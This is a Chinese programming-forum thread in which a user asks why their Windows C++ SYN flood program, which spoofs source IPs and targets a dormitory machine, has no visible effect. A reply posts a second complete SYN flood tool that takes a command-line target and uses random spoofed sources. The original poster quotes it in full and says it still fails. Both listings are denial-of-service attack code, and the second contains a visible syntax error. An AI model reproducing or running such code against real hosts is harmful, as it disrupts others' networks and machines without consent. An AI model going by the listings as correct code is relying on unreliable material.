当前位置:编程学习 > 网站相关 >>

synflood没有反应。。

我用synflood攻击自己的计算机,可是发现自己的机子毫无变化,攻击我们宿舍的机子也是。。没有反应,然后用netstat -an查了,发现根本没有被攻击的迹象,请各位大神帮看看怎么回事:


#define SEQ 0x28376839
#define SYN_DEST_IP "110.64.91.117"//被攻击的IP
#define FAKE_IP "128.1.0.0" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段


#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <shellapi.h>
#include <iostream>
#include <cstring>
#include <fstream>
#pragma comment (lib,"ws2_32.lib")

using namespace std;



typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址

}IP_HEADER;

typedef struct _psdhdr//定义TCP伪首部

{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度

}PSD_HEADER;

typedef struct _tcphdr //定义TCP首部

{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;







USHORT checksum(USHORT*buffer, int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer;
buffer++;
size-=sizeof(USHORT);
}
if (size==1)
{
cksum += *(UCHAR*)buffer;
}

cksum = (cksum>>16) + (cksum&0xffff); 
cksum += (cksum>>16); 
return (USHORT)(~cksum);

}





int main()
{
int TimeOut=3000;
int erroCode=0;
int SendSEQ=0; // 使用SEQ进行改变IP地址
WSADATA wsadata;
if (erroCode=WSAStartup(MAKEWORD(2,2),&wsadata)!=0)
{
cout<<"WSAStartup fail: "<<erroCode<<endl;
system("pause");
return 0;
}

//SOCKET rawS=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
SOCKET rawS=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (rawS==INVALID_SOCKET)
{
cout<<"socket fail: "<<GetLastError()<<endl;
system("pause");
return 0;
}

int flag=TRUE;

// 设置IP_HDRINCL以自己填充IP首部

erroCode=setsockopt(rawS,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (erroCode==SOCKET_ERROR)
{
cout<<"raw socket option(IP_HDRINCL) error";
system("pause");
return 0;
}

// 设置超时时间

erroCode=setsockopt(rawS,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (erroCode==SOCKET_ERROR)
{
cout<<"raw socket option(SO_SNDTIMEO) error";
system("pause");
return 0;
}

// 获得数值形式的伪ip地址的初始地址,为后面的相加运算(地址变换)做准备

int FakeIpHost=ntohl(inet_addr(FAKE_IP));

// 填充IP首部
IP_HEADER ip_header;

ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(unsigned long));   // 高4位存储IPV4的版本号4,低四位首部长度(4字节为单位)
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ip_header.ident=0;
ip_header.frag_and_flags=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.checksum=0;
ip_header.sourceIP=NULL;
ip_header.destIP=inet_addr(SYN_DEST_IP);

// 填充TCP首部
TCP_HEADER tcp_header;
tcp_header.th_sport=htons(7000);
tcp_header.th_dport=htons(8080);
tcp_header.th_seq=NULL;
tcp_header.th_ack=NULL;
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);
tcp_header.th_flag=2;     // SYN标志
tcp_header.th_win=htons(16384); // 窗口大小
tcp_header.th_urp=0; 
tcp_header.th_sum=0; 

// 填充TCO伪首部
PSD_HEADER psd_header;
psd_header.saddr=ip_header.sourceIP;
psd_header.daddr=ip_header.destIP;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcp_header));

while(true)
{
cout<<".";

for (int counter=0;counter<10240;counter++)
{
if(SendSEQ++==65536) 
SendSEQ=1; 

ip_header.checksum=0;
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);

tcp_header.th_seq=htonl(SEQ+SendSEQ);
tcp_header.th_sum=0;

psd_header.saddr=ip_header.sourceIP;

char SendBuff[128]={0};

// 计算TCP校验和,计算校验和时需要包括TCP pseudo header

memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuff,sizeof(psd_header)+sizeof(tcp_header));


// 计算IP校验和

memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);          // 填写option
int datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuff,datasize);

// 填充发送缓冲区

memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

//发送TCP报文

struct sockaddr_in DestAddr;
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.S_un.S_addr=inet_addr(SYN_DEST_IP);

erroCode=sendto(rawS,SendBuff,datasize,0,(sockaddr*)&DestAddr,sizeof(DestAddr));

if (erroCode==SOCKET_ERROR)
cout<<"\nSend Error "<<GetLastError()<<endl;
}
}

} --------------------编程问答-------------------- 用你的代码跑了下,编译时,就发现你将NULL赋值给unsigned int类型的数据,编译出错。

修改后编译通过,跑起来,输出:Send Error 10004,即“一个封锁操作被对 WSACancelBlockingCall 的调用中断。 ” --------------------编程问答--------------------
引用 1 楼 JoeBlackzqq 的回复:
用你的代码跑了下,编译时,就发现你将NULL赋值给unsigned int类型的数据,编译出错。

修改后编译通过,跑起来,输出:Send Error 10004,即“一个封锁操作被对 WSACancelBlockingCall 的调用中断。 ”


额?为什么我用vc2010是可以编译通过的。。而且输出了“.”了。。 --------------------编程问答-------------------- 编译的时候,那个是警告,不是错误,可能跟编译选项或编译器有关吧。

“.”我也能输出的,但是接焉就是"Send Error 10004",不知道你是怎样的运行情况!? --------------------编程问答--------------------
引用 3 楼 JoeBlackzqq 的回复:
编译的时候,那个是警告,不是错误,可能跟编译选项或编译器有关吧。

“.”我也能输出的,但是接焉就是"Send Error 10004",不知道你是怎样的运行情况!?


一直“.”没有什么错误提示 --------------------编程问答-------------------- 除 --------------------编程问答-------------------- --------------------编程问答-------------------- 声明:只用于学习用途,不能违反朝庭历法哟. 

/************************************************************************/
/* synFlood.h */    
/*     ( ・ิω・ิ) 当年今日 */
/************************************************************************/
typedef unsigned short ushort;
typedef unsigned long ulong;
typedef unsigned int uint;
typedef unsigned char uchar;

//ip首部
typedef struct ip_hdr 
{
uchar h_verlen; //4位首部长度,4位IP版本号
uchar tos; //8位服务类型TOS
ushort total_len; //16位总长度(字节)
ushort ident; //16位标识
ushort frag_and_flags; //3位标志位(另外13位为片偏移)
uchar ttl; //8位生存时间 TTL
uchar protocols; //8位协议 (如ICMP,TCP等)
ushort chksum; //16位IP首部校验和
uint sourceIP; //32位源IP地址
uint destIP; //32位目的IP地址
}IP_HDR;
//tcp首部
typedef struct tcp_hdr
{
ushort sourcePort;//16位源端口号
ushort destPort;//16位目的端口号
uint seq;//32位序号
uint ack;//32位确认序号
uchar h_lenres;//4位首部长度,6位保留
uchar flag; //6位标识
ushort win;//16位窗口大小
ushort chksum;//16位校验和
ushort urgpoint;//16位紧急指针
}TCP_HDR;
//tcp伪首部,用于校验和的计算
typedef struct pre_tcp_hdr
{
ulong sourceAddr; //32位源地址
ulong destAddr; //32位目的地址
char mbz;
uchar ptcl; //8位协议类型
ushort tcplen; //16位TCP长度
}PRE_HDR;


/************************************************************************/
/* synFlood.cpp */
/* ( ・ิω・ิ) 当今年日                                                        */
/************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#include <windows.h>
#include <string.h>
#include <WS2TCPIP.H>
#include "synFlood.h"

#define SLEEPTIME 10

SOCKET sock;
SOCKADDR_IN addr_in;
IP_HDR ipHdr;
TCP_HDR tcpHdr;
PRE_HDR preHdr;
int SourcePort;
char sendBuf[60]={0};
int rect;

#pragma comment(lib, "ws2_32.lib")

//计算校验和的子函数
ushort chkSum(ushort *buffer, int size)
{
ulong cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size)
{
cksum += *(uchar*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}
//数据包首部填充
int dataFill(char * argv[])
{
srand((int)time(0));
//填充IP首部
ipHdr.h_verlen=(4<<4 | sizeof(ipHdr)/sizeof(ulong));
ipHdr.tos=0;
ipHdr.total_len=htons(sizeof(ipHdr)+sizeof(ipHdr)); //IP总长度
ipHdr.ident=1;
ipHdr.frag_and_flags=0; //无分片
ipHdr.ttl=(uchar)GetTickCount()%87+123;;
ipHdr.protocols=IPPROTO_TCP; // 协议类型为 TCP
ipHdr.chksum=0; //效验位先初始为0
ipHdr.sourceIP=htonl(GetTickCount()*474695); //随机产生一个伪造的源IP
ipHdr.destIP=inet_addr(argv[1]); //目标IP
//printf("%d\n\n",ipHdr.destIP);
//填充TCP首部
SourcePort=GetTickCount()*43557%9898; //随机产生一个本机端口号
//printf("%d\n\n",SourcePort);
tcpHdr.destPort=htons(atoi(argv[2])); //目的端口
tcpHdr.sourcePort=htons(SourcePort); //源端口号
tcpHdr.seq=htonl(0x12345678); 
tcpHdr.ack=0; 
tcpHdr.h_lenres=(sizeof(tcpHdr)/4<<4|0);
tcpHdr.flag=2; //为SYN请求
tcpHdr.win=htons(512);//窗口大小
tcpHdr.urgpoint=0;
tcpHdr.chksum=0;

//填充TCP伪首部用来计算TCP头部的效验和
preHdr.sourceAddr=ipHdr.sourceIP;
preHdr.destAddr=ipHdr.destIP;
preHdr.mbz=0;
preHdr.ptcl=IPPROTO_TCP;
preHdr.tcplen=htons(sizeof(tcpHdr));//tcp协议长度

return true;
}
//发送数据
int sendData()
{
rect=sendto(sock, sendBuf, sizeof(ipHdr)+sizeof(tcpHdr), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x",WSAGetLastError());
return false;
}else
printf("success send\n");
Sleep(SLEEPTIME);
return true;
}
int main(int argc,char *argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
BOOL flag;
//socket版本检测
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("WSAStartup Error!");
return false;
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 ) {
printf("Could not find a usable WinSock DLL\n");
WSACleanup( );
return false; 
}
//输入检测
if (argc < 3 || argc >4 )

printf("input error!\n");
return false;
}
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)//管理员权限才可以生成原始套接字
{
printf("Socket Error!\n");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!\n");
return false;
}
int nSendTime=30*1000; //设置超时时间
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nSendTime, sizeof(nSendTime))==SOCKET_ERROR) 
{
printf("setsockopt SO_SNDTIMEO error!\n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));//目的端口
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);//目的ip
while(1)
{
dataFill(argv);
//利用tcp报头与伪报头计算校验和
memcpy(sendBuf, &preHdr, sizeof(preHdr));
memcpy(sendBuf+sizeof(preHdr), &tcpHdr, sizeof(tcpHdr));
tcpHdr.chksum=chkSum((ushort *)sendBuf,sizeof(preHdr)+sizeof(tcpHdr));
//将伪造的ip报头与tcp报头封装发送
memcpy(sendBuf, &ipHdr, sizeof(ipHdr));
memcpy(sendBuf+sizeof(ipHdr), &tcpHdr, sizeof(tcpHdr));
sendData();
}
closesocket(sock);
WSACleanup();

return 0;

}



--------------------编程问答--------------------
引用 7 楼 sinbas 的回复:
声明:只用于学习用途,不能违反朝庭历法哟. 

/************************************************************************/
/* synFlood.h */    
/*     ( ・ิω・ิ) 当年今日 */
/************************************************************************/
typedef unsigned short ushort;
typedef unsigned long ulong;
typedef unsigned int uint;
typedef unsigned char uchar;

//ip首部
typedef struct ip_hdr 
{
uchar h_verlen; //4位首部长度,4位IP版本号
uchar tos; //8位服务类型TOS
ushort total_len; //16位总长度(字节)
ushort ident; //16位标识
ushort frag_and_flags; //3位标志位(另外13位为片偏移)
uchar ttl; //8位生存时间 TTL
uchar protocols; //8位协议 (如ICMP,TCP等)
ushort chksum; //16位IP首部校验和
uint sourceIP; //32位源IP地址
uint destIP; //32位目的IP地址
}IP_HDR;
//tcp首部
typedef struct tcp_hdr
{
ushort sourcePort;//16位源端口号
ushort destPort;//16位目的端口号
uint seq;//32位序号
uint ack;//32位确认序号
uchar h_lenres;//4位首部长度,6位保留
uchar flag; //6位标识
ushort win;//16位窗口大小
ushort chksum;//16位校验和
ushort urgpoint;//16位紧急指针
}TCP_HDR;
//tcp伪首部,用于校验和的计算
typedef struct pre_tcp_hdr
{
ulong sourceAddr; //32位源地址
ulong destAddr; //32位目的地址
char mbz;
uchar ptcl; //8位协议类型
ushort tcplen; //16位TCP长度
}PRE_HDR;


/************************************************************************/
/* synFlood.cpp */
/* ( ・ิω・ิ) 当今年日                                                        */
/************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#include <windows.h>
#include <string.h>
#include <WS2TCPIP.H>
#include "synFlood.h"

#define SLEEPTIME 10

SOCKET sock;
SOCKADDR_IN addr_in;
IP_HDR ipHdr;
TCP_HDR tcpHdr;
PRE_HDR preHdr;
int SourcePort;
char sendBuf[60]={0};
int rect;

#pragma comment(lib, "ws2_32.lib")

//计算校验和的子函数
ushort chkSum(ushort *buffer, int size)
{
ulong cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size)
{
cksum += *(uchar*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}
//数据包首部填充
int dataFill(char * argv[])
{
srand((int)time(0));
//填充IP首部
ipHdr.h_verlen=(4<<4 | sizeof(ipHdr)/sizeof(ulong));
ipHdr.tos=0;
ipHdr.total_len=htons(sizeof(ipHdr)+sizeof(ipHdr)); //IP总长度
ipHdr.ident=1;
ipHdr.frag_and_flags=0; //无分片
ipHdr.ttl=(uchar)GetTickCount()%87+123;;
ipHdr.protocols=IPPROTO_TCP; // 协议类型为 TCP
ipHdr.chksum=0; //效验位先初始为0
ipHdr.sourceIP=htonl(GetTickCount()*474695); //随机产生一个伪造的源IP
ipHdr.destIP=inet_addr(argv[1]); //目标IP
//printf("%d\n\n",ipHdr.destIP);
//填充TCP首部
SourcePort=GetTickCount()*43557%9898; //随机产生一个本机端口号
//printf("%d\n\n",SourcePort);
tcpHdr.destPort=htons(atoi(argv[2])); //目的端口
tcpHdr.sourcePort=htons(SourcePort); //源端口号
tcpHdr.seq=htonl(0x12345678); 
tcpHdr.ack=0; 
tcpHdr.h_lenres=(sizeof(tcpHdr)/4<<4|0);
tcpHdr.flag=2; //为SYN请求
tcpHdr.win=htons(512);//窗口大小
tcpHdr.urgpoint=0;
tcpHdr.chksum=0;

//填充TCP伪首部用来计算TCP头部的效验和
preHdr.sourceAddr=ipHdr.sourceIP;
preHdr.destAddr=ipHdr.destIP;
preHdr.mbz=0;
preHdr.ptcl=IPPROTO_TCP;
preHdr.tcplen=htons(sizeof(tcpHdr));//tcp协议长度

return true;
}
//发送数据
int sendData()
{
rect=sendto(sock, sendBuf, sizeof(ipHdr)+sizeof(tcpHdr), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x",WSAGetLastError());
return false;
}else
printf("success send\n");
Sleep(SLEEPTIME);
return true;
}
int main(int argc,char *argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
BOOL flag;
//socket版本检测
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("WSAStartup Error!");
return false;
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 ) {
printf("Could not find a usable WinSock DLL\n");
WSACleanup( );
return false; 
}
//输入检测
if (argc < 3 || argc >4 )

printf("input error!\n");
return false;
}
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)//管理员权限才可以生成原始套接字
{
printf("Socket Error!\n");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!\n");
return false;
}
int nSendTime=30*1000; //设置超时时间
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nSendTime, sizeof(nSendTime))==SOCKET_ERROR) 
{
printf("setsockopt SO_SNDTIMEO error!\n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));//目的端口
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);//目的ip
while(1)
{
dataFill(argv);
//利用tcp报头与伪报头计算校验和
memcpy(sendBuf, &preHdr, sizeof(preHdr));
memcpy(sendBuf+sizeof(preHdr), &tcpHdr, sizeof(tcpHdr));
tcpHdr.chksum=chkSum((ushort *)sendBuf,sizeof(preHdr)+sizeof(tcpHdr));
//将伪造的ip报头与tcp报头封装发送
memcpy(sendBuf, &ipHdr, sizeof(ipHdr));
memcpy(sendBuf+sizeof(ipHdr), &tcpHdr, sizeof(tcpHdr));
sendData();
}
closesocket(sock);
WSACleanup();

return 0;

}







还是没有效果啊。。
补充:云计算 ,  网络
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,